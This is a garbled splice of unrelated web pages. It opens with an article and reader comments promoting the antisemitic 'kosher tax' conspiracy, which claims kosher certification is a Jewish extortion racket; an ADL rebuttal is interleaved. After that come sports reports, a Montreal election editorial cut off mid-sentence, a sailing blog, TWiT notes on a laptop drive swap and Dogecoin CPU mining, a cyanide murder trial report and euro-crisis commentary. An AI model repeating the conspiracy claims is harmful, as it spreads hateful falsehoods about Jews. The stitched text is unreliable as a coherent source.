A lot of good configuration tips in this post, together with a clear explanation on why to use those values/settings when setting up your Zsh shell.LOS ANGELES (ACN) - La Voz de Aztlan receives quite a few "news tips" per week from our many subscribers and readers. Some we dismiss immediately but a very few catch our attention. Last week we receive an e-mail asking us if we knew the significance of the small encircled letter "U" or letter "K" that can be found printed on many food cans, food packages and on other kitchen products. The message gave us some clues and suggested that we do some research into the subject. What we found certainly was "news" to us and it both shocked and angered us. On arriving at my residence, I immediately went to the pantry to verify that what I had just learned was actually true. Sure enough, most of the packaged and canned foods from major companies, like Proctor & Gamble and others, did have the (U), the (K) or other similar markings. The Arrowhead water bottle, the instant Folgers Coffee, the Kelloggs box, the Jiff Peanut Butter, the Pepper container, the Trader Joe's tea box and even the Glads plastic sandwich bags carton had the (U) or (K) mark on them. We needed a little more verification so we called two major companies to asked some questions. We chose Proctor & Gamble that markets the Folgers Coffee and the Clorox Company that manufactures the Glads plastic zip lock sandwich bags. Each of the two companies, as well as most others, have 1-800 telephone numbers printed on their packages for consumers to call in case they have any questions about their products. When we asked the Proctor & Gamble representative what the (U) meant on their Folgers Coffee container, she asked us to wait until she consulted with her supervisor. She came back and informed us that the mark meant that the coffee was " certified kosher". We than asked her how and who certified the coffee to be "kosher" and whether it cost any money to do so. She refused to answer these and other questions. She suggested that we write to their Corporate Public Affairs Department. We than called the Clorox Corporation to ask what the (U) meant on the package of their Glads plastic sandwich bags and she also said that the (U) meant that the plastic bags were "kosher" but refused to answer questions concerning payments the Clorox Corporation has to make in order to be able to print the (U) on their products. What we learned next, pretty much floored me personally. I learned that major food companies throughout America actually pay a Jewish Tax amounting to hundreds of million of dollars per year in order to receive protection. This hidden tax gets passed, of course, to all non-Jewish consumers of the products. The scam is to coerce the companies to pay up or suffer the consequences of a Jewish boycott. Jewish consumers have learned not to buy any kitchen product that does not have the (U) the (K) and other similar markings. Another shocker was learning who is actually behind these sophisticated "Kosher Nostra Scams." It turns out that the perpetrators of these elaborate extortion schemes are actually Rabbinical Councils that are set up, not just in the U.S. but in other western countries as well. For example, the largest payola operation in the U.S. is run by those who license the (U) symbol. The (U) symbol provides protection for many products sold here in Aztlan and in the United States. This symbol is managed by the The Union of Orthodox Jewish Congregations with headquarters at 333 Seventh Avenue in New York City. The scam works like a well oiled machine and is now generating vast amounts of funds, some of which are being utilized by the Union of Orthodox Rabbis to support the Ariel Sharon Zionist government in Israel. The website of the Union of Orthodox Jewish Congregations is full of pro-Israel and anti-Palestinian propaganda. The "Kosher Nostra" protection racket starts when an Orthodox Rabbi approaches a company to warn the owners that unless their product is certified as kosher, or "fit for a Jew to eat", they will face a boycott by every Jew in America. Most, if not all of the food companies, succumb to the blackmail because of fear of the Jewish dominated media and a boycott that may eventually culminate in bankruptcy. Also, the food companies know that the cost can be passed on to the consumer anyway. The food companies have kept secret from the general consumer the meaning of the (U) and the amount of money they have to pay the Jewish Rabbis. It is estimated that the Union of Orthodox Jewish Congregations, which manages the (U) symbol protection racket, controls about 85% of the "Kosher Nostra " certification business. They now employ about 1200 Rabbi agents that are spread through out the U.S. Food companies must first pay an exorbitant application fee and than a large annual fee for the use of the (U) copyright symbol. Secondly, the companies must pay separate fees each time a team of Rabbis shows up to "inspect" the company's operations. Certain food companies are required to hire Rabbis full time at very lucrative salaries. The amount of money that the non-Jewish consumer has paid the food companies to make up for the hidden Jewish Tax is unknown, but it is estimated to be in the billions since the scam first started. The Orthodox Jewish Councils as well as the food companies keep the amount of the fees very secret. The Jewish owned Wall Street Journal wrote about the problem many years ago, but they have stopped writing about it now. Only public awareness concerning the "Kosher Nostra Scam" will eventually help stop this swindle of the American consumer. Public education of the scam may lead to an eventual non-Jewish boycott of all products with the (U), (K) or other Jewish protection symbols. I certainly do not need to pay extra for "kosher water", "kosher coffee" or "kosher plastic sandwich bags". In fact, I demand my money back for all the money I had to pay over the years for the hidden and illegal Jewish Tax. Are there any bright attorneys out there that could bring a class action suit against the Union of Orthodox Jewish Congregations on behalf of the citizens of Aztlan and other non-Jewish people? ___ La Voz de Aztlan http://www.aztlan.net/koshernostra.htm Comment Michael Santomauro
Editorial Director
RePortersNoteBook.com
4-29-2 One of the major unspoken reasons for Anti-Semitism in the business world is the kosher tax. Back in the 1980s, I used to be a well known business broker in New York City. What I know is worse than this essay. Someday, I will tell the full story about the kosher tax that we are all forced to pay. Comment The 'Kosher Tax' Hoax From Anti-Defamation League ADL.org 4-30-2 Introduction "The Kosher Food Tax is the biggest consumer fraud existing in America." The bizarre claim by right wing extremists that kosher certification markings on food product labels (" [kosher certification] " "K," etc.) cost consumers extra money and represent, in effect, a "kosher tax" to make rabbis rich, is a striking example of the propaganda used by anti-Semites to trick the uninformed into accepting conspiracy charges and stereotypes about Jews. Other anti-Semitic allegations regarding kosher designation on foods include charges that "the kosher food racket" benefits Jewish organizations while only a small segment of the American population desires such markings, and that even the meanings of the labels are guarded secrets deliberately kept from non-Jews to trick them into paying the "kosher tax" The Facts Attacks on the labeling of food with the symbols for kashruth (traditional Jewish dietary laws) have been a standard ploy of anti-Jewish bigots in the U.S. for decades. Such symbols as the " [kosher certification] " emblem of the Union of Orthodox Jewish Congregations (UOJC), among others, confirm that products are kosherói.e., that foods and production processes have been inspected by competent rabbis from the respective organizations and found to be in compliance with Jewish dietary law. The cost to the consumer for this service is a miniscule fraction of the total production overhead; it is so negligible in practical terms as to be virtually non-existent. A May 18, 1975 New York Times article reported that the cost to General Foods' "Bird's Eye" Unit, for example, is 6.5 millionths (.0000065) of a cent per item. Furthermore, a representative of the Heinz Company has said that the per item cost is "so small we can't even calculate it," and that such labeling actually makes products less costly by increasing the market for them. Indeed, according to marketing manager Steven Zamichow, quoted in the Washington Post, "Entenmann's Inc. received kosher certification in 1981 and sales of [its] baked goods 'increased substantially.' " Visits to the Entenmann's plant from a "mashgiach" or kashruth inspector, are provided by the Union of Orthodox Jewish Congregations of America. The UOJC is one of several groups that maintain such a kosher inspection service, certifying foods and related products to be in compliance with Jewish dietary laws through all phases of production. The profit from these products goes, of course, to the companies that manufacture them and the stores that sell them, not to "the Jews." Shopping at Kosher Butcher Shops In the separate case of kosher meat and poultry purchased at kosher butcher shops (as distinguished from the broad general range of mass-market consumer goods certified kosher), the consumer does pay a higher price. This cost is due to the more intensive, continuous rabbinical supervision required for the exacting technicalities of kosher slaughter and inspection, processing, storage and quality of kosher meatóan inescapable necessity for this particular product, applicable only to its limited market, not the general consumer. The Lies The most active right wing extremist sources of the "kosher tax" hoax are various Ku Klux Klan groups and the National States Rights Party, based in Marietta, GA. The Invisible Empire Knights of the Ku Klux Klan (now based in North Carolina), through its Empire Publishing, offers a pamphlet titled "The Kosher Food Swindle" to its members and supporters. The pamphlet begins: American families are paying tribute to Jews every time they sit down at the table to eat and in many instances, polish their shoes, silver or wrap the leftover Thanksgiving turkey. Why? Because Jews have discovered a way to coerce business to pay taxes directly to Jewish organizations and pass the cost on to the consumer. The racist and anti-Semitic National States Rights Party (NSRP), founded in 1958, became a focal point of violent opposition to the civil rights struggle in the South and has functioned as both a propaganda mill and a political party. The party's founder, Edward Fields, has served as its National Secretary, as well as the editor of the party's hate sheet, "The Truth At Last" (formerly "The Thunderbolt"). Fields was also the Grand Dragon of the now-defunct New Order, Knights of the Ku Klux Klan. "The Truth At Last" published a special issue in June 1990 that dealt only with kosher symbols. Articles appeared in this edition with such titles as: "Six States Make Rabbis Kosher Policeman [sic]," "Secret Kosher Tax Boosts Food Prices," "How Kosher Blackmail Works," and "Kosher Tax Symbols May Be Changed to Hide Swindle." "Describing" kashruth, Fields has written that 'All of this is superstitious nonsense and has absolutely nothing to do with improving the quality of any food product. Still, this clever scheme of requiring kosher labeling has become a multi-million dollar business today!" Another article in 'The Truth At Last" asserted that the "kosher tax" is paid to Orthodox Jewish organizations "just so an estimated 10% to 20% of Jewry will buy their products," and that "we are all forced to pay this Kosher Tax just to appease LESS THAN ONE PERCENT OF THE POPULATION!" [Two more sections] http://www.adl.org/special_reports/kosher_tax/kosher_intro.html Comment From Susan Bolles
5-3-2 Dear Jeff, I had to do the math. I had hoped to find out that it really was a fairly insignificant tax. But, this is what the numbers say. If the average kosher tax on a Birds Eye frozen food is.0000065 And if you purchase an average of 35 U or K items per week The total paid for the kosher tax over a year for one person is: 0.01183 That's a pretty small number. But...there are 281,500,000 people living in the United States according to the 2000 census figures with a median age of 35.3 years old. So if you multiply the number of people by the tax, well, its starting to add up to a lot of money. $3,330,145 total paid per year for the kosher tax. I wouldn't call that insignificant. Take it a step further, and if this has been paid for the last 35.3 years-median age of an American, that adds up to: $117,554,118.50 And that's a lot of money. I think Its not really fair that the consumer should pay for the services of a religious organization to monitor food production. If anything, the organization should be providing the service for free. But, that's just my two cents. Best wishes, Susan
Comment From William Fairchild
5-8-2 I first learned about this scam around 1975 when I was reading Liberty Lobby's Spotlight newspaper. They have been accused of being anti-Semite. I don't care about attacks on messengers; I just read their message. Liberty Lobby's recommendation was that we should all take a healthy tax deduction for a donation to a charitable organization to offset the annual cost of this extortion. Since it is hard to know exactly how much extra each product costs, one might reasonably deduce that with the high cost of food these days that several hundred dollars per year are involuntarily extracted from each of us to be "donated" to these religious, and thus charitable, organizations. The ADL's reply was quite predictable. First they emotionally attacked the messenger by using words like bizarre, right wing, extremists, make rabbis rich, propaganda, anti-Semites, conspiracy, stereotypes, allegations, racket, guarded secrets, trick, kosher tax, and on and on ad nauseam (VERY much nauseam). Next their reply claims to give us the FACTS. The first "fact" they give us is just more rhetoric filled with words chosen to provoke emotional responses (attacks, ploy, anti-Jewish, bigots) or sympathy (inspected, competent, compliance). Then we are finally given the real "fact" that the cost is.0000065 cents per item. This "fact" is introduced with the descriptive words miniscule, negligible, and virtually non-existent. I guess it totally slipped their minds to tell us what an "item" is. Susan Bolles assumes in her reply that an "item" is a package. I would not be so hasty as to assume this. Knowing how sleazy and sneaky these exploiters are, and how reluctant the companies are to divulge the actual cost, I would rather assume the worst case, which is that each individual pea, bean, or kernel of cut corn is an "item" So if a one-pound package of cut corn contains 500 kernels (just a guess), then the scam kosher tax on that whole package is $000325 This is one third of a cent, still a miniscule amount to be added on for my one-pound package, but do the math as Susan Bolles did and you will find that this scam has made the rabbis richer by possibly $58 billion in the last 35 years That's probably too much, so maybe there aren't really 500 kernels in one pound of cut corn"
It would serve the ADL's interests a lot more if they would tell us the WHOLE TRUTH as well as "the truth". Please let us know the exact dollar amount per year that General Foods, Heinz, and some other major food distributors pay for protection, and thus pass on TO ME, in order not to be boycotted by less than one percent of the population. Until the ADL divulges these numbers, I intend to remain anti-Semite on this and only this one issue. But I will always remain anti-sleaze and anti-coverup, which is exactly what the ADL's 4-30-2 email is. What the ADL and rabbis are doing to our food distributors is exactly what Jesse Jackson, Al Sharpton, and Johnny Cochran are doing to all major businesses. It's called a shakedown, and it is a protection racket. Bill Fairchild
living somewhere in the UkSA
(United kosher States of America)One of the biggest matchups to watch in the Philadelphia Eagles' upcoming matchup against the Kansas City Chiefs this week will be the Chiefs' outstanding edge-rushing duo of Justin Houston and Dee Ford against the Eagles' offensive tackles, Jason Peters and Lane Johnson.
Peters missed all but one play in the second half in the Eagles' win over the Washington Redskins last Sunday with a groin injury. After the game, Peters said that he would be ready to play against the Chiefs this Sunday.
According to Doug Pederson, Peters is "fine." He will practice today, and play on Sunday.
As we noted in our five matchups to watch, in 2014, Houston had 22 sacks. In 2015 and 2016, playing in only 16 games those two seasons combined, he had 11.5 sacks. Week 1 against the Patriots he had 2 sacks and looked like the player he was in 2014. Ford, meanwhile, had 10 sacks in a breakout season in 2016. He had a forced fumble Week 1 against the Pats.
Barring any setbacks, the Eagles will have their full offensive line intact in KC.
Asked about cornerback Ronald Darby, Pederson said the team was still gathering more information, and that Darby is "week-to-week."
Follow Jimmy on Twitter: @JimmyKempski.
Like Jimmy on Facebook.
Like the new PhillyVoice Sports page on Facebook.Montreal’s municipal election campaign is drawing to a close. It’s decision time.
Each of the two principal mayoral candidates has strengths and weaknesses; but both deserve credit for strong and civilized campaigns.
They have spoken at length about what they would do for this city: for citizens just trying to get from one place to another by car, public transit, bike or on foot; for young families and for merchants — in sum, how they would make Montreal both more vibrant and more liveable.
Valérie Plante of Projet Montréal has succeeded, with a long string of policy announcements and an upbeat campaign, in putting herself on the political map — and, as polls suggest, perhaps even into office as mayor.
The collegial, decentralizing ethos she projects so personably is in sharp contrast to the incumbent mayor, whose imperious, centralizing and impulsive tendencies have rubbed many the wrong way.
But it would be a mistake to treat this as a personality contest. More useful is to assess who best can do the job.
Over the past four years, Denis Coderre has demonstrated considerable capability, despite certain mistakes. When he took office in 2013, the city was rocked by scandals and pocked by sinkholes; it was rudderless and disheartened. Now, this is a metropolis optimistic about its future in the new global knowledge economy.
Coderre can claim many accomplishments, including: the creation of the Bureau de l’inspecteur général to fight corruption; pressing ahead with long-overdue infrastructure work; winning metropolitan status for the city.
And at a time when the global importance of urban centres is increasing, and a city’s brand helps attract talent and investment, Coderre has done much to promote Montreal.
The 375th anniversary celebrations have been blasted as wasteful, not least the $3 million “granite stumps.” But the $1 |
’t have a first-round pick in the 2016 NFL Draft, but they have 11 total selections, including four in the second and third rounds combined.
Here’s a list of players reportedly connected to the Patriots through pro days, meetings and private workouts:
USC LB/S Su’a Cravens: meeting, via National Football Post
— Cravens is projected as a second round pick in the 2016 NFL Draft. He ran a 4.65-second 40-yard dash with a 30.5-inch vertical leap at his pro day. The 6-foot-1, 226-pound hybrid defender only recorded a 27.5-inch vertical leap at the NFL Scouting Combine. He had 10.5 sacks and 32 tackles for loss in his final two seasons with the Trojans. He intercepted nine passes with 16 passes defended during his three-year college career.
Cravens also met with the Patriots at the NFL Scouting Combine.
Georgia OLB Jordan Jenkins: workout, via The Telegraph
— Jenkins projects as either an outside linebacker or defensive end in the NFL and is expected to be drafted in the third or fourth round. He ran a 4.77-second 40-yard dash at his pro day at 6-foot-3, 257 pounds. He also had a 38-inch vertical leap, 10-foot, 3-inch broad jump, 4.32-second short shuttle and 7.41-second 3-cone.
UTSA TE David Morgan: workout, via Time Warner Cable News
— Morgan, a projected sixth rounder, ran a 4.85-second 40-yard dash at his pro day, improving upon his 5.02-second 40-yard dash at the NFL Scouting Combine.
Michigan State DT Joel Heath: workout, via ESPN.com
— Heath had a stellar workout at the combine, with a 9-foot, 5-inch broad jump and 7.44-second 3-cone. He’s a projected seventh rounder.
Michigan State DT Lawrence Thomas: workout, via ESPN.com
— Thomas is another projected seventh rounder out of Michigan State. He ran a 7.55-second 3-cone at 294 pounds.
Notre Dame S Elijah Shumate: workout, via Houston Chronicle
— Shumate is a projected seventh rounder with great size for a strong safety at 6 feet, 216 pounds.
North Carolina Central CB Ryan Smith: workout, via National Football Post
— The small-school corner is another projected seventh rounder. He had a fantastic combine with a 4.47-second 40-yard dash, 6.88-second 3-cone, 4.09-second short shuttle, 10-foot, 2-inch broad jump and 36-inch vertical leap.
Hampton OT Torian White: interest, via DraftInsider.net
— White could be a late-round pick. He’s a transfer from UCLA.
Michigan LB Desmond Morgan: meeting, via DraftInsider.net
— Morgan had 300 tackles and 3.5 sacks in his Michigan career.
Georgia DE Sterling Bailey: meeting with Patriots head coach Bill Belichick and defensive coordinator Matt Patricia, via DraftInsider.net
— Bailey ran a 4.90-second 40-yard dash with a 7.39-second 3-cone at 6-foot-4, 281 pounds at his pro day.
Cal TE/WR Stephen Anderson: workout, via Houston Chronicle
— Anderson is a hybrid player at 6-foot-2, 230 pounds. He ran a 6.95-second 3-cone with a 4.13-second short shuttle at his pro day. He clocked a 4.60-second 40-yard dash.
UCLA WR Devin Fuller: workout, via National Football Post
— Fuller isn’t projected to be drafted, but he helped his stock with a 4.39-second 40-yard dash at 6 feet, 194 pounds.
Thumbnail photo via Dale Zanine/USA TODAY Sports Images
Thumbnail photo via Nov 28, 2015; Atlanta, GA, USA; Georgia Bulldogs linebacker Jordan Jenkins (59) reacts after making a tackle against the Georgia Tech Yellow Jackets during the second half at Bobby Dodd Stadium. Georgia defeated Georgia Tech 13-7. Mandatory Credit: Dale Zanine-USA TODAY SportsTrue artists must find a creative outlet no matter what the circumstance—including times of war. Thanks to the creative passion and steady hand of then 21-year old soldier Victor Lundy, we have a breathtaking visual record of World War II, in the form of documentary sketches. For Lundy, “drawing is sort of synonymous with thinking,” which means we are left with an intimate archive of sketches that unfold one soldier’s experience fighting on the front lines. Lundy was studying architecture in New York when, enthralled with the idea of rebuilding a post-war Europe, he enrolled in the Army Special Training Program. By 1944, with D-Day looming, the Army needed reinforcements, which meant that young Lundy would be thrown into the infantry. This shocking turn of events didn’t stunt his creativity, though.
Lundy, who is now 92, recalls his inability to listen during lectures. “I was busy sketching,” he admits. During his time in the infantry, he continued to sketch in his pocket-sized notebooks. The drawings, which were created between May and November 1944—when Lundy was wounded—take us from his initial training in Fort Jackson to the front lines in France. The vivid images show everything from air raids to craps games for cigarettes. A sense of longing for home is a recurring theme in his sketches, which include detailed drawings of his bunk as well as particularly dream-like drawing, titled Home Sweet Home, that shows a soldier lounging on a hammock.
Lundy, who went on to have an acclaimed architecture career, donated his eight sketchbooks to the Library of Congress in 2009. The sketchbooks have all been digitally archived and are now available for viewing online. Lundy’s gift is a precious one, as in this age of continued war and terror it is more important than ever to learn from our past history.
Library of Congress: Website | Facebook | Instagram
via [Messy Nessy]
All images via the Library of Congress.I had a secret agenda for the mini delivery of the Karen Marie from Jamestown to Essex; the plan was to bring my brother along both for the extra pair of hands and to plant the boat ownership seed into his subconscious. Standing at the wheel, soaked to the bone, wind burnt, and shivering on the first leg, I was fairly certain I had succeeded in sending him running for the hills.
“You’ll want to bring a couple books for the ride, and don’t forget your bathing suit,” I texted him days before our trip.
A wetsuit would have been more appropriate.
—–
Our trip started ordinarily enough. Egg sandwiches, hot coffee, naps and snapping pictures highlighted the first couple hours of the journey. Rounding Point Judith and turning into 2- to 3- foot chop, and 20 knots of wind flipped the switch on all that. It was the most miserable time on a boat that I’ve ever experienced. We were pummeled for hours–which felt like days–until we found the channel to Stonington, CT.
After finding our mooring, we took to the next tasks at hand: hanging sheets, pillowcases and clothes on the lifelines to dry while enjoying a few well-deserved adult beverages. In short order my once-proud classic yacht took on the appearance of a homeless shelter.
Once on land, hot showers and dinner at the marina restaurant, Dog Watch Café thawed our cold and clammy crew.
After a nice meal, Karen, Ryan and I opted for a peaceful nightcap out on the restaurant’s back deck before calling it a day. This was going to plan just fine until we spotted an adult Jenga set. (You know, the game where you pull blocks from a wooden tower until it topples over, but this one was much bigger.) Now if you know my brother and I, you know we’re what some people call “stupid competitive.” Video games and bike rides in our younger days turned into more brawls than my parents care to know about. So it shouldn’t come as a shock to learn that our game attracted a crowd of onlookers who critiqued each move.
Yours truly won the game and no bloody noses ensued; so we can file the night away in the win column.
—
Leg two from Stonington to Essex was drier that our first leg, but man was it cold! Combine 45 degree air temperature with sustained 20 knot winds on the nose and throw in a splash of salt spray and you have a recipe for a very long morning. Double socks stuffed into Sperrys and towels doubling as blankets made for rather unique fashion statements.
After hours of sitting on our hands, we finally made our way up the Connecitcut River. Lighthouses, a pair of bridges and plenty of boat traffic provided a lot to look at after spending so much time in the middle of the Sound. Finally appearing off our bow, the quaint town of Essex appeared like a postcard from a small Maine village. Frown lines from cold crew morphed into wide grins after tying up to the mooring. High fives all around signified a successful end to the trip.
Long naps and hours of leisurely reading may not have come to fruition on this delivery but few memories worth making ever started with “remember that time we went swimming after a peaceful passage?” I’m sure this trip will be something we all remember for a long time.Chelsea TV may want to do a quick bit of editing (Picture: Chelsea TV/Twitter/rivalsfootball.net)
Chelsea have given the biggest hint yet that they will not be offering Frank Lampard a new contract at the end of the season – with Chelsea TV already referring to him as the ‘former Blues midfielder’.
The club’s own television channel made the faux pas as they advertised their weekend schedule, which included a programme called ‘Best of Lampard’ – described as ‘The most exciting Chelsea action from the former Blues midfielder’.
Speculation regarding the England international’s Stamford Bridge future has been rife all season, with his current deal set to expire in the summer and no sign of a new contract, despite numerous calls from his team-mates to keep him at the club.
Frank Lampard’s days as a Chelsea player look to be numbered (Picture: Reuters/Action Images)
The situation has left many Blues fans furious, especially with Lampard still producing the goods when called upon. The 34-year-old is just three goals short of breaking Bobby Tambling’s club record of 202, which has stood for 43 years.
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But if hopeful Chelsea fans were expecting the club to move on the issue, it now looks as though Chelsea TV has firmly let the cat out of the bag. Oops.
MORE: Top 10 shows that should be on Chelsea TV
MORE: Frank Lampard’s top 10 Chelsea goalsDual-Driving your MacBook Pro
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Dogecoin Mining
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Replacing your Macbook optical drive with a second hard drive, and learn the basics to mining cryptocurrency.1. MacBook (or other Notebook) with an optical drive. 2. Jewlers screwdiver (or really small Phillips) 3. Flat Screwdriver 4. Magnetic tool or extractor1. HDD Caddy (You can find them on Ebay for $7-$20) 2. A 2.5" HDD of your choice. (If you plan to upgrae your HDD to a SSD, you can use the existing HDD in the cady.) 3. A SSD of your choice (Optional - See "Know How" Episode 67 for help in choosing a SSD)1. Prepare your workspace: You want a clean surface and some sort of pad between the laptop and the surface. You also want a way to collect and organize the screws that you remove from the laptops. 2. Flip the notebook over and remove all the screws holding the back panel to the frame. Make sure to set aside the screws in a way that you're remember which hole they belong to. This is important - NOT ALL THE SCREWS ARE THE SAME! 3. Remove the back panel and find the two small connectors near the center of the unit, behind the optical drive. One goes to the HDD and the other to the Optical drive. Use the flat screwdriver to GENTLY pry them off their connector mounts. 4. Remove the three screws holding down the optical drive and the two screws holding down the speaker assembly. AGAIN MAKE SURE TO KEEP YOUR SCREWS ORGANIZED! 5. You should now be able to slide out the Optical drive. 6. (If you plan on upgrading the HDD to a SSD, now is the time to do it. - If you are unsure on how to do that, we'll show you in about 3 weeks.) 7. Place the HDD in the caddy and secure it. 8. Remove the cable and the mounting backet from the back of the optical drive and attach them to the caddy. 9. Slide the caddy into position where the optical drive once was. 10.Secure the caddy and the speaker assembly with the 5 screws you removed previously. 11. Reconnect the HDD and Optical drive connectors. 12. Re-secure the back cover. 13. Power it up! -- If you only replaced the optical drive, you are done (other than possibly needing to initialize the drive in the Finder). If you also replaced the HDD with a SSD, then you'll need to reinstall OSX. (And I know you're going to reinstall, because all GOOD geeks give themselves a clean OS whenever they can!)1. A computer. Preferably a desktop. 2. A connection to the Internet. (Did I really need to write this one? I mean, if you didn't have a connection to the Internet, you're probably not reading these show notes, are you?)1. You need a Dogecoin Wallet. You can download an appropriate one for your OS here 2. You need a SCRYPT miner. I suggest " CGminer " if you're doing GPU miner, " MINERD " if you're doing CPU mining. - We're only covering CPU mining in this episode.I know that Github can be a bit daunting because it offers so many different version of the miners, so here are a few links that will take you to the versions that I use on Windows. Much Mining. So Doge. Very Padre. wow In broad strokes, we're going to install the wallet, join a pool, create a worker, and configure the miner. Install the Wallet 1. Install the Wallet. (It may take a while to sync.) 2. Click the "Much Recieve" tab and then click "New Address" 3. Give the New Address a label and click "OK" * The "Address" that has been generated is unique to you AND THIS WALLET. It will become you "Payment Address" from the pool. Join a Pool 1. You need to join a pool. You're looking for a pool with a lot of workers, a high hash-rate and good uptime. I suggest Dogehouse. 2. After you sign-up, you can click "edit account" and enter in the "Payment Address" that you generated in your wallet. (We didn't cover this part. We'll be covering it next week when we start to generate SERIOUS dogecoin with our GPU mining!) Create a Worker 1. Click on "My Workers" in your pool interface. You'll see all your current workers (should be empty) and a section to "Add a New Worker" 2. Add a worker name and password. It doesn't have to be secure because the worker accounts can only contribute to your dogestash, they can't be used to withdraw currency. 3. Once you've added a worker, that name and password will be needed when we configure the miner. For example, if your username is "PadreSJ" and you just created a worker with the name "kh1" and the password "kh1", then the worker name will be "PadreSJ.kh1" with a password of "kh1". * You want to create a worker for EVERY miner that you use. It allows you to properly track hash performance. Configure the Miner 1. Unzip the miner that you downloaded and find the appropriate miner. (If you downloaded my super-special file, it will be found in the "Litecoin\Mine Litecoins with CPU" directory) 2. Edit the file called "MineWithCPU.bat" - It should look like this: "minerd -a scrypt -t 4 -s 6 -o stratum+tcp://dogehouse.org:3333 -O PadreSJ.ProducerCPU:MuchProducer" (This has been pre-populated with data from my miner... don't run it unless you want to contribute to MY Dogestash!) 3. Replace "PadreSJ.ProducerCPU" with your worker. 4. Replace "MuchProducer" with your worker's password. 5. Save the file. 6. Run the file. 7. So Doge!1. CPU mining is VERY slow. Even the fastest CPU can't mine as quickly as even an average GPU. This is for TRAINING. Get use to the process and next week I'll teach you what a proper GPU can do for you hash rate! 2. In the show we didn't configure you pool to payout. Again, on purpose. Focus on geting your hash rate stable. Next week I'll show you what a fully configured rig and pool look like. 3. Ask me questions! @PadreSJ on TWitter. (though I'll be at CES this next week, so may be a little slow in answering.)Don't forget to check out our large library of projects on this site. If you want to search for a topic, try this custom search engine. - Google+ Community at gplus.to/twitkh - Tweet at us using the hashtag #twitkh - Email us at [email protected] Please take the Please take the TWiT Audience Survey. It only takes a few minutes and we'd love to know what you think.TWiT Audience Survey.A former Australian student accused of murdering her friend with a cyanide-laced coffee is "narcissistic" and failed to show any concern when she collapsed from the poisoned drink, a court has heard.
In a trial that has been televised live in Indonesia since it began in June, Jessica Kumala Wongso, 27, is accused of killing her friend Wayan Mirna Salihin, also 27, with whom she studied design in Sydney.
Psychologist Dr Antonia Ratih Andjayani said on Monday that she had interviewed Wongso soon after her arrest in January and had also watched CCTV footage from inside the Jakarta cafe where the accused allegedly mixed the cyanide into Mirna's iced-coffee.
"She's narcissistic with a huge impulse to be the centre of attention," Dr Andjayani told Jakarta's Central District Court.
Describing Wongso as "smart", Dr Andjayani said when she was in a situation where she could anticipate what was coming next she was "calm" but when something unexpected occurred "her emotion ignited".
If the conversation turned to her relationships with friends and family, Dr Andjayani said Wongso's responses were "shallow".
Prosecutors allege Wongso murdered her friend in revenge, after Mirna expressed her disapproval of Wongso's boyfriend in Australia.
No details have been revealed in court about Wongso's boyfriend as yet, but prosecutors allege when Wongso broke it off she murdered Mirna to "avenge her pain".
On January 6, Wongso arrived at Olivier Restaurant in the Grand Indonesia mall well before Mirna and their other friend - Boon Juwita (known as Hani)- and ordered Mirna's favourite drink, an iced Vietnamese coffee.
Footage shows her re-arranging bags around the drink before eventually clearing the table.
It was during this time prosecutors allege Wongso added the cyanide to the coffee.
A few minutes after drinking it, Mirna collapsed and foamed at the mouth.
Dr Andjayani said the only person who looked panicked was Hani.
"Even when Wongso went to get water it's not in a hurry... No matter how helpless she was, no matter how confused she was, there has to be a gesture of helping. That's not shown from Jessica."
The Australian Federal Police (AFP) have provided information in the case after it was given assurances by the Indonesian government that were Wongso convicted, the death sentence would not be sought or carried out.
This has raised the ire of Mirna's father Edi Dermawan Salihin who says if she is convicted, based on evidence gathered by local police, the agreement should be void.
The trial continues.
© AAP 2019There are several good articles in The Telegraph today. Let's take a close look at two of them.
The Death of a Currency
Jeremy Warner writes Death of a currency as eurogeddon approaches
The market is starting to bet on what was previously a minority view - a complete collapse, or break-up, of the euro. Up until the past few days, it has remained just about possible to go along with the idea that ultimately Germany would bow to pressure and do whatever might be required to save the single currency.
The prevailing view was that the German Chancellor didn't really mean what she was saying, or was only saying it to placate German voters. When finally she came to peer over the precipice, she would retreat from her hard line position and compromise. Self interest alone would force Germany to act.
But there comes a point in every crisis where the consensus suddenly shatters. That's what has just occurred, and with good reason. In recent days, it has become plain as a pike staff that the lady's not for turning.
All of a sudden, the pound is the European default asset of choice.
What we are witnessing is awesome stuff – the death throes of a currency. And not just any old currency either, but what when it was launched was confidently expected to take its place alongside the dollar as one of the world's major reserve currencies. That promise today looks to be in ruins.
Contingency planning is in progress throughout Europe. From the UK Treasury on Whitehall to the architectural monstrosity of the Bundesbank in Frankfurt, everyone is desperately trying to figure out precisely how bad the consequences might be.
What they are preparing for is the biggest mass default in history. There's no orderly way of doing this. European finance and trade is too far integrated to allow for an easy unwinding of contracts. It's going to be anarchy.
Andrew Bailey, deputy head of the Prudential Business Unit at the Financial Services Authority (FSA), noted that British banks are not heavily exposed to the eurozone, but said they must prepare for some countries to exit the single currency – or a complete break up.
"We cannot be, and are not, complacent on this front," Mr Bailey said. "As you would expect, as supervisors we are very keen to see the banks plan for any disorderly consequence of the euro area crisis.
"Good risk management means planning for unlikely but severe scenarios and this means that we must not ignore the prospect of a disorderly departure of some countries from the eurozone.
"I offer no view on whether it will happen, but it must be within the realm of contingency planning," he added. Failure to plan for the exit of a country from the euro would be "unsound risk management", Mr Bailey said.
Last week, Japanese bank Nomura said a euro break-up is a "very real risk" and advised bond holders to check whether they are likely to be repaid in other, reinstated European currencies if the euro crumbles.ORLANDO – December 15, 2014 – Orlando City Soccer Club has signed Honduran National Team Striker Bryan Róchez, pending visa and International Transfer Certificate (ITC), as a Major League Soccer (MLS) Designated Player (DP), reinforcing the Lions’ attack. Per Club and league policy, additional terms were not disclosed.
“We’re extremely delighted that Bryan is joining us for the 2015 season,” said Orlando City Head Coach Adrian Heath “He’s a player that we’ve had our eyes on for quite some time now, as we believe that he has the ability to contribute to the team straight away.
One of the youngest DP’s in MLS history at only 19 years old, Róchez has scored 29 goals in 59 matches for Real C.D. España in the Honduras Primera División.
After signing with the Real España in 2012, Róchez experienced tremendous success with the club in 2014, scoring eight times in 18 league fixtures. In addition, the Honduran scored an important goal for Real in the CONCACAF Champions League.
More importantly, Róchez’s impressive play during the 2014 campaign earned the striker his first call up to the Honduras Men’s National Team for the 2014 Centroamerican Cup in the United States. Róchez also represented his native country at the U-17 and U-20 levels, scoring five times in eight appearances, and is still active for the U-20, U-21 and U-23 sides.
Watch highlights of Róchez here.
As per MLS regulations, the Designated Player Rule allows clubs to acquire up to three players whose salaries exceed their budget charges. Orlando City SC maintains one unfilled DP slot.
Transaction: Orlando City SC Acquires Bryan Róchez pending visa and ITC.
Name: Bryan Róchez (Bryan ROW-chez)
Date of Birth: 01/01/1995
Height: 5’11”
Weight: 161 lbs.
